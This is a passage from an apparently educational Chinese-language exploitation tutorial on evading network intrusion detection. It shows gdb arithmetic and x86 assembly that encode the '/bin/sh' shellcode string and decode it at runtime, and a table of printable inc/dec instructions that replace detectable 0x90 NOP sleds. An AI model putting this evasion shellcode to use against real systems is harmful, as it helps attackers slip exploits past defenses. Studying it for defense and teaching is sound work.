前述的網路 IDS/IPS 不只追蹤連線,還能檢查封包本身——通常尋找標示攻擊的模式。
IDS 特徵與其弱點#
例如一條尋找含
/bin/sh字串封包的簡單規則,能抓到許多含 shellcode 的封包。我們的/bin/sh因為以四位元組區塊 push 到堆疊已略微混淆,但 IDS 也能找含/bin與//sh的封包。
這類特徵對抓「用網路下載的漏洞利用的 script kiddie」相當有效,但用隱藏所有洩露字串的自訂 shellcode 就能輕易繞過。
字串編碼#
要隱藏字串,只需對字串每個位元組加 5;push 到堆疊後,shellcode 再對堆疊上每個位元組減 5,在堆疊上建出想要的字串——傳輸途中保持隱藏。
(gdb) print /x 0x0068732f + 0x05050505 # "/sh\x00" 編碼 +5
$1 = 0x056d7834
(gdb) print /x 0x6e69622f + 0x05050505 # "/bin" 編碼 +5
$2 = 0x736e6734
shellcode push 編碼位元組,再用迴圈解碼:
push 0x056d7834 ; push 編碼的 "/sh\x00"
push 0x736e6734 ; push 編碼的 "/bin"
mov ebx, esp
push BYTE 0x8 / pop edx ; 要解碼 8 位元組
decode_loop:
sub BYTE [ebx+edx], 0x5
dec edx
jns decode_loop除錯時用兩個
int3指令(0xcc,除錯中斷點)夾在解碼前後,就能在 GDB 中看清字串正確解回"/bin/sh"。驗證後用sed把int3註解掉即可。這種會修改自身的 shellcode 稱為多型(polymorphic)shellcode。
如何隱藏 NOP sled#
NOP sled 是另一個易被偵測的特徵:大塊的 0x90 並不常見,網路安全機制看到就大概認定是漏洞利用。
要避開這個特徵,可用其他單位元組指令取代 NOP——好幾個遞增/遞減指令同時也是可列印的 ASCII 字元:
| 指令 | 十六進位 | ASCII |
|---|---|---|
inc eax | 0x40 | @ |
inc ebx | 0x43 | C |
inc ecx | 0x41 | A |
inc edx | 0x42 | B |
dec eax | 0x48 | H |
dec ebx | 0x4B | K |
dec ecx | 0x49 | I |
dec edx | 0x4A | J |
由於使用這些暫存器前都會先清零,可安全地用
@、C、A、B、H、K、I、J的隨機組合當 NOP sled。用 C 寫個 sled 生成程式搭配 BASH 腳本,就能讓漏洞利用緩衝區避開專門找 NOP sled 的 IDS。